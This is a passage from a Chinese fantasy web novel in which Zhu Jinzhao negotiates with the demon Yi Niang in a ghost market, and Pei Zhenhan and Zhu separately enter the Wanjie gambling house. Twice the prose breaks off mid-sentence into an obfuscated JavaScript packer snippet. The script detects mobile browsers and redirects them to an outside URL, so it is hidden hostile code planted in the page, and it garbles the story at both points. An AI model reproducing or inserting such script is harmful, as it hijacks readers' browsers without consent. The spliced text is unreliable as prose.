一路拖到空旷的前厅。 衣娘扬手一丢,将她抛在地板上。 祝今照俯在地面,拼命喘息。 衣娘看也不看她,只望向靠墙立着的一排小妖:“搜她的身。” 众妖齐应了声是,抬脚便围上来。 “别过来!” 祝今照猛地直起身,缚在身后的绳索不知何时已滑落在地。 颤着指尖捏了一道诀,蓝紫色的灵光在指尖一闪,一只三彩陶俑便幻在了手心。 她仰脸瞪着衣娘:“这就是你妹妹。你再敢近一步,我现下便弄死它!” 衣娘垂眸看着她:“怎么证明?” 祝今照颤着手指,又捏了一道诀。 陶俑滚落在地,咔地破开一道细壳。灵光里头,阿绒化出了半截身子。 她仰起那张布满烧伤的脸,茫然地左右望着。 衣娘盯着阿绒看了片刻,又抬起眼,看向祝今照。 眉梢轻轻一扬,语气里竟似带了几分惊喜:“竟当真是你收的她?” 祝今照眨了眨眼。 不对。 衣娘不该是这副反应罢? 不该是悲痛欲绝、洒泪认亲么? 再看阿绒,也不见半分见到姐姐的欣喜。只仰脸呆呆地望着衣娘,身子蠕动着,竟似有往后缩的意思。 这姐妹俩,怎么回事? 真是姐妹俩么?原著里分明说,二人关系好得很。 可眼下哪里是想这个的时候。 祝今照压住心底的困惑,学着她看过的那些小说里大佬的腔调,冲阿绒喊道: “阿绒,你如今捏在我手里。识相的,叫你姐姐将我放了,同我谈生意,莫要敬酒不吃吃罚……啊——!” 话音未落,她吓得浑身一缩。 衣娘竟抽出匕首,狠狠扎进了阿绒的脖颈。 噗哧—— 阿绒瞪圆了那双死灰的眼,双手颤巍巍地摸向自己的脖子。 匕首猛地抽出,尸水滋地喷起来,溅了三尺高。 阿绒倒在地上,身子一寸一寸,干瘪下去。 祝今照猛地站起身,往后退了一步。 衣娘接过小妖递来的绢子,慢条斯理擦着匕首:“还有什么招数?” 祝今照抬眼看衣娘,难以置信道:“她是你妹妹啊……她顶着杀人的名头,替你供货,助你开铺子,你竟就这样杀了她。你简直,丧尽天良。” 衣娘像听了个极好笑的笑话,嗤笑了声,道:“这便是鬼市啊。连这都受不住,还敢来鬼市谈生意?” 祝今照一把将袖中符纸全拽了出来,低下脑袋,颤着手指飞快地翻。 民间防身用的符纸,防御技能比攻击技能要强悍得多。她要找一张逃跑的。 衣娘被她这旁若无人的举动逗笑了。站在那儿看她,也不阻止。 “找什么符呢?我替你瞧瞧?” 祝今照手上翻得更快了。 攻击的,攻击的,攻击的…… 怎么全是攻击的! 衣娘轻轻叹了口气,对旁边的小妖扬了扬手:“杀了她。” “是!” 众妖乌压压围上来。 祝今照心头猛地一颤。 攻击就攻击,先动起来啊啊啊! 她抽出一张请雷符,扬手往虚空里一贴,指诀翻转,大声喝道:“九天雷火,闻呼即至。破!” 喊完,扭头就跑。 “站住!” 身后杂乱的脚步声紧随而来。 她跌跌撞撞冲出铺门,一步跨下台阶,脚底一震,腿都软了一瞬。也顾不上了,就那么软着腿,一头扎进鬼市幽绿的夜色里,在哄闹的集市当中发足狂奔。 她心里清楚得很,那张符纸请来的雷火,顶多能烧个柴火,伤不着她们半分…… 咔嚓——! 一道刺耳的雷声劈断了她的念头。 眼前霎时被一片白光吞没。 “啊,怎么回事!” 她猛地刹住脚,双手下意识捂住了眼睛。 身后轰隆一声巨响,是房屋倒塌的声音,中间还夹着一片凄厉的哀嚎。 祝今照揉着眼,模糊的视线里,两边的小妖正尖叫着四散逃窜。有些跑不及的,竟扑通扑通,直接跳进了那道黑乎乎的黄泉水里。 迷迷糊糊转过身,一股浓重的烟灰扑面而来,呛得她连咳了好几声。 定睛看去,猛地睁大了眼。 身后,方圆数百步之内,已被夷为平地。 房梁歪倒在地上,断裂处还留着烧焦的痕迹。 碎裂的砖墙之间,散了满地的尸骸,尽是些被打回原形的妖怪。 衣娘仍站在原地,发丝散乱,唇瓣微张,怔怔盯着脚边的碎尸。 她周身倒了一圈死去的妖,像是拼死以身护住了她。 衣娘猛地抬起脸,眼眶微湿,看向祝今照。 祝今照也慌了,连连摆手:“这、这……抱歉抱歉,我不是故意砸你生意的。” 她举手挠双髻:“怎么回事啊,北斗真君灌法力手抖了么?不小心给这一张灌过量了?” 此时,身后忽然传来一片铿锵的脚步声。 一队妖兵疾奔而来,鱼贯排在衣娘两侧。 乌压压一片,少说也有上千号。气势壮观。 众妖齐刷刷垂首,朝衣娘喊道:“尊主!” 祝今照杏眼连眨了好几下: “衣娘不是个小喽啰么?如今小喽啰都有这般排场了?” 衣娘缓缓举起宽大的袖摆,指向她:“拿下。” “这下完了。”祝今照生无可恋地喃喃了一声。 她快哭了:“还谈什么生意。” 转身便狂奔。 身后脚步声轰隆隆追上来,滚雷一般。 她一面没命地跑,一面狂翻符纸。 那些不顶用的,被她扬手就丢,呼啦啦散了满空。 “找到了!” 指尖捻出一张疾奔符。 她急急捏诀,大声喊道:“追风逐电,疾!” 符纸一亮,脚下猛地窜了出去。 两边摊位霎时化作残影,妖怪们诡异的叫卖声,叽叽咕咕从耳畔划过去。 越跑越快,快得刹都刹不住。 她吓得大叫起来:“啊——!” 不过数息工夫,前头竟又出现了衣娘和那群妖兵的身影。 ——她已绕着鬼市跑了整整一圈。 还没来得及喘口气,身子便再次窜了出去。 众妖兵一个个停下了步子,同衣娘一齐站在原地,呆呆望着那一抹花花绿绿的残影,一圈一圈,从眼前掠过。 鬼市里安静了片刻,只剩她忽远忽近的叫唤。 不知转了多少圈,祝今照终于猛地扑倒在地。 她捂着狂跳的心口,大口大口喘气。 喘够了,仰起脸来。 正对上衣娘那张素净的面容。 祝今照:…… 她弯起眼:“衣老板,我想了想。虽说你铺子没了,可咱们还是能重新做起来的。我出主意,你来做。咱们和气生财,莫要打打杀杀。” 衣娘似乎对她安身立命的饭碗没了这件事,也不是很在意。 她半蹲下来瞧祝今照,面容无波无澜。 垂眸看向散落在地上的那些符纸,她开了口: “你这些符纸……莫非是从四大圣尊手里得来的?” 祝今照眨眨眼:“四大圣尊?谁啊?” 衣娘眉尖微蹙,盯着她那张懵懂的脸,像是要从里头找出一丝破绽来。 祝今照水灵灵的眸子转了转,想起来了。 原著里提过。 四大圣尊,是北斗宫的客座师尊,属于门派里镇山的名人中本事最大的。分别擅长请雷、呼风、唤雨、掘地。 没人知道他们已经活了多少年。他们的本事,远远盖过其它门派的修士、长老。 北斗宫能有今日这般兴旺,除北斗真君的名头外,他们也要占三成功劳。 祝今照嘿嘿笑道:“怎么会?我就是个寻常小老百姓,连北斗宫的门朝哪开都不知道呢。不过是运气好,买到了质量不太对的符纸罢了。” 开玩笑。北斗宫可是收妖的——在满是妖的鬼市,承认自己拿着北斗宫的法器,那跟在匪窝里承认自己是条子有什么区别。 衣娘盯着她看了片刻,淡淡道:“姑且信你。” 她也怕她再掏出什么骇人的东西来。 祝今照点头如捣蒜。 衣娘没再说什么,站了起来。 祝今照瞧她面容平静,看起来也不怎么生气的样子,便及时地道:“衣老板既然不气了,能不能听听我的生意?” 衣娘不感兴趣地道:“说来听听。” 祝今照心中一喜,拍拍膝盖便站了起来。 “衣老板,您瞧鬼市这些铺面。卖人皮的,接断肢的,借寿命的,夺文才的,卖傀儡的……” 她抬手指向附近那些灯笼高悬的铺面,一家一家地点过去。 “有没有瞧出什么规律来?” 衣娘转眸看向她,神情漠然。 祝今照弯眼:“对啦!就是它们的客人,通通是达官贵人。” “人皮、断肢,起价少说也要十金;傀儡符,那是朝廷里头搞权谋的贵人才用得上的东西;至于寿命和文才,更是从贫苦人身上夺来,卖给那些纨绔子弟。” “这是别人赚钱的门道,我也不好多做评判。但这里头有个问题。” “客群太窄了。全鬼市的生意,全挤在达官贵人这一片红海里。” “头部的铺子日进斗金,尾部甚至腰部的铺子,一年到头也开不了一回张。新人根本出不了头。” “再说,这种生意,赚钱的条件也太苛刻。稍不留神,手脚没做干净,便要叫北斗宫顺藤摸瓜找上门来。银子和性命,一并给你没收了。划不来,实在划不来。” “咱们不如绕开这些项目,另谋一条出路。要竞争小,最好压根没有竞品;又要叫北斗宫那群讨人嫌的道士,半个错处也挑不出来!” “依我看,既然人人都抢着伺候达官贵人,那咱们,不如服务平民百姓!” 衣娘竟被她这副头头是道的样子吸引住了,不自觉接了一句: “平民百姓手里又没银子。服务他们,哪来的钱?” 祝今照啧了声,朝她挤眼睛,道: “平民百姓手里钱是少。可钱少,才想赚钱呀。想赚钱,就有需求,有需求,便有市场。这天下的人里头,平民百姓占了八九成,衣老板,您想想,这得是多大的一个摊子?” 衣娘的思路不觉被她牵着走了,抬了抬手,疑道:“那……做什么呢?” “衣老板,您手底下的小妖,水性好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500522|202707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕是不少吧?如今官河里水鬼水妖,多得淌水似的,百姓的货船、渡船根本不敢走。可货总得运吧?人总得过河吧?” “咱们就来当这个护航官。谁家要运货,交一笔护航费,咱们派小妖随船清道,把沿途的水鬼、挡路的小妖全给赶开,清走。” 衣娘重新看向她,眉尖诧异地扬了扬。 祝今照掰着手指头: “捉来的妖,不能用的就杀,能用的,咱们收拢来,当伙计用。” “这些小妖成日在河里闲晃荡,不是被更强的妖一口吞了,便是被道长收了去,哪有什么出头之日?到了咱们这儿,有活干,有饭吃,定然一百个愿意。” “这样一来,船家省了货物被劫的风险,咱们赚了干净的钱,就连妖怪们也有地方去了。北斗宫的道长们非但不会来查,还得谢咱们帮着减轻了他们的差事呢。” “零成本,稳利润,还能落下一个合法经营的名声。衣老板,这买卖,不比卖人皮长远?” 小脸上满是得意。 衣娘垂下眼眸,像是陷入了什么久远的回忆里。 良久,她低声开口:“我的先父,也曾为了官河上那些被强征漕运的百姓,辗转奔波。” “没想到,五百年后,会有一个小丫头,思考同样的事。” 祝今照没想到她忽然开启沉重话题。 而且衣娘不是妖么? 她是阿绒一把火烧了那朱门之后,由阿绒怨念化形而成的妖,所以才会把阿绒当亲妹妹来爱护。 哪来的父亲? 还为百姓奔波,那少说也得是朝廷里的大官了。 整个鬼市,可能有大官父亲的,只有鬼市头领沈清晏——原著说过,只有她是半人半妖。 她脑子里虽在胡思乱想,嘴上却已经接上了话: “那不正好!咱们不光赚了银子,还能了却令尊的遗愿。想来令尊天上有灵,也要替衣老板高兴呢。” 衣娘没有被逗笑。她只转眸看了她一眼,平静的眸底,流动着某种说不清的意味。 祝今照不知道该说什么了,举手挠双髻。 衣娘自己转开了话题。她理了理宽大的袖摆,淡声问:“说说,你想要什么?” 祝今照当即弯起了眼:“不多不多。衣老板拨我些人手,我来给您赚银子。赚来的钱,衣老板分我五成利就好。” “一成。” “啊?!”祝今照杏眼瞪得溜圆。 衣娘不紧不慢道:“我赚的钱,加上你赚的钱,一起算。分你一成。” “不能再多了。你没见过那么多钱,怕你被吓着。” 谁会叫钱吓着! 祝今照气得直想深呼吸,脸都皱成了包子:“衣老板,您铺子都没了,哪里还有钱赚呀!” “你若不愿,便算了。” “别别!我应了,我应了。” 衣娘如今已没什么进项,那意思便是——她自个儿赚来的钱,只能取一成利。 她一个刚起步的,一个月十两银子还不知有没有呢。 一成利,那不就是,一个月顶多赚一两么。 转念一想,今日她把人家铺子砸了个稀烂,人家还能心平气和坐下来跟她谈生意,好像已经很是厚道了。 祝今照蔫蔫地耷拉下肩膀。 衣娘却还没完,又道:“我这一成利,可金贵得很。多少人争着抢着,也得不到。不能叫你这么轻易便拿了去。” “还有条件?!”祝今照又瞪圆了眼。 衣娘慢悠悠踱了两步,回过头来看她: “今日万劫坊里,会有一伙阳间的官兵闹事。你若能阻住他们,不叫他们伤了坊里玩乐的公子贵女们,便给你这成利。” 祝今照愣愣地重复:“万劫坊?” 她想起来了。 鬼市最大的赌坊。 那地方凶险重重,是她能玩得转的么? “若是……若是阻不住呢?” 衣娘轻轻道:“若阻不住,你便死在那坊里头。” “啊?!” 还没等她回过神,衣娘已抬手一挥。 两个妖兵上前,一左一右架起她便往前走。 祝今照双腿乱踢,拼命扭回头往后喊: “不是,衣老板——那赌坊跟咱们的买卖有什么关系呀?管这闲事作甚——” 声音已远去了。 ** 此时,某处无人在意的山脚。 涧水淙淙,鸟鸣喈喈。 裴枕寒端坐花丛之间,阖目潜修。 忽地,灵海深处传来一些画面。 暗夜,一座灯火通明的宫殿,匾额上书三个大字——万劫坊。 殿外,一众甲胄官兵正将一群年轻男女往门里赶。 拎着,拽着,推着,打着,动作粗鲁至极。 众男女惊叫哭喊着,拼命往殿外挤,却被官兵们抡起长鞭,劈头盖脸地往里抽。 玄色寒冰砌成的台阶之外,隔着一道赤红的结界。 北斗宫的修士一个接一个往前撞。不少人已倒在地上,呕血不止。 呼救声纷乱地传到耳畔。 “裴真君,救命!” “裴郎救我!” “裴爷!” “北斗爷爷,救命!” “裴老爷——显灵啊!” 裴枕寒指尖灵光流转,飞速捏了一道缩地诀。 暗夜之中,一道星辰般的蓝紫光炸开在众人面前。 光焰之间,裴枕寒半蹲于地,一掌击在玄冥石板上。 道道裂痕从掌心向前蔓延,咔嚓一声,那道众人久攻不破的结界崩裂成碎片,向四面飞溅。 结界后的甲胄官兵来不及闪避,随着碎片一齐飞了出去。 众男女愣了一瞬,随即疯狂往外涌。 众修士面面相觑。 下一瞬,齐齐跪倒在地:“恭迎帝君!” 13. 魅妖 众男女从蓝紫灵光两侧奔涌而出。 光焰散尽,裴枕寒立在原地,白衣轻扬。 有人望望他,又看看跪了满地的修士,失声喊道: “是真君!真君显灵了!” 几个嬷嬷、小厮扑通跪倒,嘴里念叨着: “北斗爷爷保佑!” “真君慈悲!” 郎君贵女们眼睛一亮,连忙整好衣袍,端端正正跪下去,温声道:“真君圣前,弟子叩见。” 一时吵吵嚷嚷。 有人哭诉方才情形之凶险; 有人重提旧事,称是当年真君救过的小丫头; 有人代家人祈求平安。 有贵女娇声唤了声:“裴郎!”当即被旁边兄长捂住了嘴。 一片吵闹声中,只北斗宫的修士门跪伏在地,大气不敢出。 雪白衣袍上绣着北斗纹样,铺了满地。 裴枕寒垂眸看他们,声音淡淡的,但清晰落入每个修士耳中: “此地今日有大劫,我入内救人,你等护百姓离开。” 众修士齐声应道:“弟子领命!” “谁是领头?” 左青提着袍摆,躬身趋步上前,跪在他靴边,额头贴地:“弟子左青,拜见帝君。” 裴枕寒垂眸看他,道:“万劫坊外,有万妖结界,专为阻挡玄门,非你等小辈可破。此行轻率了。” 左青浑身一颤:“弟子知罪!” 额上沁出汗来。玄冰地面散发着阴冷之气,他后背却已湿透了。 他带众同门匆匆赶来,实是为救人。有人燃起符纸向北斗宫呼救。 但他不敢多做辩解。 裴枕寒道:“同门重伤过半,此过需有人承担。” 左青伏在地上,屏息静听。 “去你霹雳师尊处领罚。可有怨言?” 左青将身子伏得更低:“弟子并无怨言!” “去罢。” 左青应声:“弟子告退。” 他站起身,只觉鼻头发酸。 第一次面见帝君,留下一个这么差的印象。 他懊丧得快要哭了。 “等等。” 左青脚下一顿,忙躬身立住:“帝君。” 裴枕寒仍是淡淡的语调,道:“你根骨不差,只是心中火性稍旺,于修炼有阻。” 他抬手。 灵光流转间,掌心多了一本古色古香的书册。 “此书名为《无思宝卷》,日夜勤诵,可令灵台清明。” 左青怔愣地抬眼。 裴枕寒执着书卷,神色平静地看着他。 左青慌忙跪回去:“多谢帝君!” 双手接过。 裴枕寒道:“此行虽轻率,但无损道义。心志可嘉。” 只这一句,左青眼眶便一热。 他硬生生忍住,俯身再拜:“多谢帝君!” “去罢。” “是!” 左青提起衣摆站起来,退行几步,转身去和同门一起疏导百姓。 脚步比来时定得多了。 远处,霹雳子疾奔而至,玄色衣袍猎猎生风。 他扫一眼满地伤者,疾步走到裴枕寒身前,单膝点地。 目光落在裴枕寒靴尖前的地面,声音微颤: “属下来迟,请帝君责罚。” 裴枕寒没看他,只道:“自罚二百诫鞭,莫再有下次。” “属下领命。” 裴枕寒不再多说,转身往坊门走去。 白靴不紧不慢跨过门槛。 万劫坊前厅,是类似酒肆的布局。 有柜台、说书台,底下檀木方桌一排排列着。 此时却桌椅歪斜,酒水泼了满地,柱子边的帷幔被扯下来,皱成一团。 人都被拖去后头主殿了。 空气里浮着丝丝缕缕的甜腻气息,往人骨头缝里钻。 裴枕寒凤眸微转,轻声道:“魅妖。” 魅妖的精气,能织成一道狎邪阵法。入阵之后,数不清的娼妓贴上来,将人精魂一寸寸吸干。 一缕精气,便足够耗死一个壮年男子。 可眼下殿中这股气,浓得像杀了上千只魅妖,每只都将精气榨得干干净净。 这么大的阵仗。 像是专为对付他的。 这气凶险,不能留。 裴枕寒调起法力,并指便要迎上。 忽地,灵海诫咒音疾震。 【叮!叮叮叮叮叮叮叮叮叮!!】 【检测到神君体内法力存量不足0.1%】 【法力耗尽可能影响神君履行神职,请及时补足。】 【提示:神君可通过自由修炼,或加满男德分值,来获取法力。】 【修炼辛苦,建议神君选择后者哦。】 【当前总值:78/100】 【建议神君主动做出合乎男德规范的优良行为。分值加至100,可解锁全部神力三息。】 【三息之内,神君可自由将神力存入体内。】 【温馨提示:请神君尽快补足。神君是天界门面,故而与诸天神明不同,贬谪期也还是需要履行神职的哦。】 裴枕寒垂下眼,似有些沮丧。 略一思量,他把剩余法力全调了出来。 将厅中精气一丝不漏,尽数吸入体内。 周身涌起一团妖雾,疾速盘旋。 浓雾一合,白衣已被拖入阵中。 只余一团灰蒙蒙的雾气,悬在半空。 ** 祝今照被两个妖兵押着,一路往万劫坊而去。 一面走,一面嘴里不停,声音甜甜的。 “妖兵哥哥,您这甲胄上的银片,是真的还是假的?” “嚯,这么亮。纯银的么?阳间都没见过,太气派了!” “贵尊主生得美,又舍得给属下花钱,跟了这样的主子,前途光明着呢。” “二位哥哥有这样的好营生,可真叫人羡慕。” “想来家中妻儿也是顶顶好的妖上妖呢!” 胖妖兵嘴角压不住,往上翘了翘:“没见过世面的小丫头,嘴倒甜。” 祝今照顺杆就爬:“妖兵哥哥,衣老板不过是个卖人皮的,怎的排场这样大呀?” 胖妖兵嘴一撇:“什么衣老板!我告诉你,那可是……” “咳。” 旁边高妖兵咳了一声。 胖妖兵一愣,赶紧闭上嘴。 两人又闷头往前走。 祝今照没看懂他们的氛围,举手挠双髻。 不久,一座宫阙矗立在面前。 门檐下琉璃灯高悬,映照匾额上“万劫坊”三个大字。 高妖兵开口了:“去罢。这里头才是真正的堆金堆玉。你能进去瞧一回,这辈子也算值了。” 声音放得和软了些,像是觉得她快死了,心里不忍。 祝今照一听这语气,瘪起嘴,杏眼要渗出水来了。 柔嫩的手去晃高妖兵的小臂:“妖兵哥哥,我不敢叫你违命……能不能只告诉我,里头会遇上什么?我好有点准备。” 高妖兵垂着头,没作声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513360|202707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她又去晃胖妖兵,声音里带了哭腔:“求求你了,我都快死了,叫我死个明白罢。哥哥行行好……” 胖妖兵看看她,又看看高妖兵:“大哥,提点几句,也不妨事罢?” “嗯嗯。” 祝今照点头如捣蒜。 高妖兵朝他抬了抬下巴,背过身去了。 胖妖兵道:“里头闹事的,是节度使府的一队官兵。那头领……” 他不屑地笑了声,摇了摇头,“被他上司做局了,非来这坊里找什么东西……” 他嘶了一声,扭头问高妖兵:“找什么来着?尊主跟江节帅面谈时提过的?” 祝今照蹙起眉,喃喃:“江临?!怎么又是他。” 又一想,“所以那头领……杨九?” 高妖兵啧了一声:“尊主的机密,你我都不知道,说那么细做什么。” 胖妖兵拍了拍嘴,接着道:“反正他把坊里的公子贵女全掳进去了,当人质。” 祝今照仰脸看他,杏眼眨了眨:“只要我护住他们,就能活了,是不是?” 胖妖兵叹了口气,抬手拍拍她肩:“丫头,没那么容易。” 他往门里指了指,“首先,那头领要是发现自己被做了局,八成破罐子破摔,大开杀戒。” “其次,你怕是连人家的面都见不着。” 祝今照惊呼:“这又是为什么?” 胖妖兵拍着她肩,往门里指了指: “那院子里头,厅堂门前,设着一道万妖结界,挡玄门用的。你身上的符纸,别带,扔了罢。符纸算玄门的东西,带着它,轻则撞个重伤,重则撞死。” “进了厅……”他顿了顿,重重叹了口气,“满屋子都是魅妖的精气,能把人吸干。” “那是人家头领得高人指点,专门布来防北斗真君的。你一个小丫头……” 他摇摇头,又拍了拍她后背:“去罢。” 祝今照抽噎着往门里走。 符纸仍攥在手心。她就这点防身的东西,舍不得丢。 院中很寂静,风一吹,草木窸窣作响,鬼叫似的。 她一步一顿往前探。 脚踩上玄冰台阶,什么也没发生。又迈一步,还是没动静。 祝今照跨过门槛,回头望了望,愣愣的:“没见什么结界呀?” 她挠挠双髻,往厅里走。 攥紧符纸,使劲在空气里嗅了嗅,嗓音发着颤:“好像……也没什么魅妖的精气。” 忽然,她步子一顿。 一缕清冽的冷灰香,飘进鼻端。 杏眸颤了颤。 她转过身,顺着那缕香便走,绕过散乱的桌椅,在厅里直转圈。 可那香断断续续,若有若无,怎么也抓不住。 身后忽有衣角拂过。 她猛地转身:“小道长!” 是柱子上垂下来的帷幔。 她垂下眼,眸子里光暗了暗。 “我这是怎么了……” 她摇摇头,叹了口气,往后门走。 忽经过一团灰蒙蒙的雾气,突兀地悬在半空。 祝今照站在那里看它,挠了挠双髻。 指尖伸出去想碰,又缩了回来。 “这一看就不是什么好东西,我还是不招惹了。” 绕过它,推开后门。 全程顺利得离谱,如有神助。 她站在门外,吹着花园里的阴风,愣愣的:“这也没危险啊……” 石板路通向后殿,那边灯火通明。 她提步走了过去。 14. 血妖 穿过花园,便是万劫坊的主殿。 殿宇迎合了阳间贵族的趣味,修得金碧辉煌。 檐下彩灯高悬,照着琉璃瓦,亮闪闪一片,将整个宅邸映得亮如白昼。 祝今照凭借个子小的优势,在假山、灯台之间东躲西窜。 避过几队巡兵,悄没声儿溜进了殿门。 哄闹的人声扑面而来。 一片白光刺目,扎得她猛往后一缩。 她眯着眼,慢慢适应。 白光灼目,将屋顶都隐去了。几对妖鹤在上面飘然起舞。 朱红柱子上盘着金色蛟龙,柱边翠幔飘扬。 白玉地面上,打碎了很多琉璃酒杯,散着很多金光灿烂的赌具。 果真是堆金叠玉。 祝今照暗自咋舌,眼睛闲不住地乱看。 殿中央围满了人,吵吵嚷嚷的。 官兵在周遭绕着圈走。众人不安是有的,但也并不十分恐慌。 祝今照心下琢磨,莫非仗着身份尊贵,料定杨九不敢拿他们如何? 看来杨九还没发现自己被江临下了套。 杨九的性子,是原著盖章的残暴冲动。若真发现了,哪还能这般心平气和。 得先找个人探探口风。 祝今照目光扫过一众公子贵女,找到一个面相和善的。凑过去,端端正正行了个礼。 “菩萨姐姐,贵体金安。” 那女子转过脸,听她唤得好听,抿唇一笑:“何事?” 祝今照弯起眼,说谎话不打草稿: “我家主子惊着了,叫奴婢出来打听打听。姐姐可知,那杨将军何时才肯放人?” 女子友善地道:“叫你家主子莫怕。杨将军同咱们是一边的,不会怎么样。” 一边的? 祝今照眨眨眼:“奴婢愚钝。他这般强掳人,怎就同咱们一边了?” 女子往前抬了抬下巴:“你没听方才他说么?是江临那厮,闯进坊里的秘境,要取一件叫‘鬼帅印’的上古法器,好去统领鬼兵。” 祝今照顺着她的话往下接:“统领鬼兵……这可是大逆不道!” “正是。”女子点头。 “杨将军请咱们来,便是做个见证。若此番真能除掉江临那弄权之臣,也算为朝廷除害,不失一桩圣事。” 祝今照杏眸转了转。 明白了。 借刀杀人,隔岸观火。 江临叫杨九以为,他要去秘境寻鬼帅印谋逆。 实则,他根本不在里头。 杨九寻不见人,原本邀贵人们来“见证大义”的举动,便成了非法拘禁。 等江临带兵前来“救人”,他便成了功臣。杨九反倒成了罪人。 此时,杨九还没开始探秘境,尚未发现江临不在。 而这些贵人,大都是世家子,同江临那骤登高位的寒门子本就不对付。 能让江临吃瘪,他们自然乐意配合。 这些人便以为,杨九同他们是一伙的。 祝今照弯眼:“多谢菩萨姐姐。” 女子道:“不妨事,快去回你家主子罢。” “诶。” 祝今照行一礼,转身就走。 身后飘来贵人们的调笑声: “为国除害的功绩,终究落到咱们头上了。” “想不到,江临那厮也有今日。” “当初本公子不过打死个仆人,他便抓着不放,害我父亲连降三级。哼,不知哪来的野种,也敢骑到本公子头上。” …… 祝今照慌得心头砰砰跳。 别放狠话了,公子哥儿们。 若杨九在秘境里什么都没找着—— 你们,就是他污蔑朝廷重臣的证人。 那杨九怎会留你们? 你们死到临头了。 祝今照往人群里挤。 入目尽是光滑细腻的绫罗绸缎。 要护住这些人,就得尽力拖住杨九。 只要拖到江临过来救人,应该……就可以了罢? 挤进前排。 杨九正领着几个兵,绕着正中那张宽大的赌桌,敲敲打打,寻找秘境机关。 祝今照轻轻咬住下唇。 怎么拦? 目光扫过周遭,忽然落在一个少年身上。 俊秀得很。一身暗纹乌袍,穿得低调,头上却压了顶金玉发冠。 众人都或站或坐聚在后头,独他一人,搬了张椅子,坐在最前头。 一看就是极显贵之人。 他身边立着个点头哈腰的男仆,正凑上去嘘寒问暖。 祝今照暗中捏了道顺风咒。 那男仆的声音便飘了过来。 “贵人……殿里冷气是不是足了些?奴婢给您披件衣裳罢……” 奴婢? 宫里的太监才自称奴婢。 祝今照心头一跳,猛地抬眼,重新打量那少年。 端端正正坐着,姿势矜贵,眉眼间透出久居深宫的纯净。 莫非他是—— 圣上! 祝今照心头一喜。 当今圣上竟也在此。 这可是个一言九鼎的身份。 人家随口发句什么话,场面就能控住一大半。 他若知道真相,又岂会任杨九胡作非为。 祝今照已经想象出圣上威严发话,压得众官兵不敢近前的场景了。 她燃了道传音符,粉唇轻启:“陛下。” 李暄正静静坐着,闻声一惊。 他抬眼看四围,并无一人。 诧异地喃喃:“莫非是神仙?” 祝今照轻声道:“陛下,我在您右后方。红色半臂,墨绿撒花波斯裤。” 李暄猛地转头,一眼便瞧见了那个花花绿绿的少女。 太显眼了。 素面朝天站在一众脂粉间,反倒衬得她异常鲜活。 祝今照垂眸,思量该如何说,才能让他信任。 李暄声音却先传过来了,带着哭腔:“仙、仙子姐姐……?” 祝今照:? 李暄:“仙子救命,朕害怕得紧……” 祝今照:?? 这是一个圣上该有的姿态么? 她忽地想起来了。 原著提过,当今圣人,仁厚有余,却是个软骨头,立不起来的。 指望他控场……他被控还差不多。 祝今照烦躁地舒了口气。 硬着头皮道:“陛下,那杨九是个兵匪,性情冲动□□。他都拥兵自重了,而且一点礼貌都不讲,将您和一众贵人强行拘在这里。” “而江临,可是您亲封的节度使。温驯知礼,忠臣体国,乃朝廷栋梁。” 她很不想夸江临。 怎奈杨九的确太不可控,性情是原著里盖章的残暴,冲动劲儿上头,真敢跟你鱼死网破。 所以这件事上,她的确和江临站在一边。 “此番,您是信杨九,还是信江临?” 李暄忙道:“朕信江爱卿,朕自然信江爱卿!可是……朕信又有什么用……” 祝今照和善地弯起眼,声音尽量放柔:“陛下莫怕。您是圣上,千金之躯,一言九鼎。这些官兵不敢拿您怎样。只要您听臣女的,照臣女说的做,好不好?” 李暄哭丧起脸:“听仙子的,本也不打紧。可是……他手里有兵,朕什么都没有……还有,后头那些爱卿,他们瞧着,也都很配合杨将军,是不是也是一伙的啊……” 祝今照啧了声,暗骂了声软蛋。 正要温声哄他,前方官兵忽扬声喊:“将军,这儿有机关!” 手在桌台边沿停住。 杨九大喜:“磨蹭什么?快按!” 那官兵一把按了下去。 咔嚓一声,赌桌中央,缓缓升起一张金盘,上头搁着白玉骰子、黄金骰盅。 众人纷纷安静,等着下一步的反应。 许久,没一丝动静。只几道翠色帷幔在半空轻扬。 杨九蹙眉望向那官兵:“孬种,你找的什么?是机关么?” 官兵惶恐:“将军,我……” 话未说完,殿中忽起阴风,猛烈地灌进来。 帷幔狂舞,烛火乱晃,满殿光线霎时暗了下去。 众人惊叫起来。 风里裹着诡异的泣音,轻若游丝: “飞光飞光……劝尔一杯酒……” “吾不识……青天高……黄地厚……” 尖叫声炸开了。 “啊——!” “什么声音!” “谁摸我头发?” “头顶有人!” 众人抬头。 帷幔高高掀起,一道血红的身影,从他们头顶疾掠过去。 “鬼!鬼!!” 红衣人落在中央赌桌旁。 转过身来,戴着红帽,没有脸,是一张骷髅头。两手细长如枯枝。 咧起的嘴艰难开合,声音嘶哑,带着回音: “所有人……死。” 众人呼吸一滞,尖叫着往后退。 祝今照随着人潮走,趁乱挨到李暄身边。 欲哭无泪。 一个杨九还不够,怎么又来个妖怪。 前头杨九怒喝:“不准走!都给我停下!停下!” 外围甲胄声齐响。官兵将众人团团围住。 后头的人一停,人潮挤成一团。 众人渐渐止步,战战兢兢往前望。 杨九指着那红衣妖,咽了口唾沫,强撑声势:“你是谁?凭什么叫我们死!” 红衣骷髅道:“千年……血妖。” 它伸出枯枝般的手指,点向桌面的骰子:“骰子……人……死。” 杨九急得啐了一口:“会不会说话?没长嘴么!” 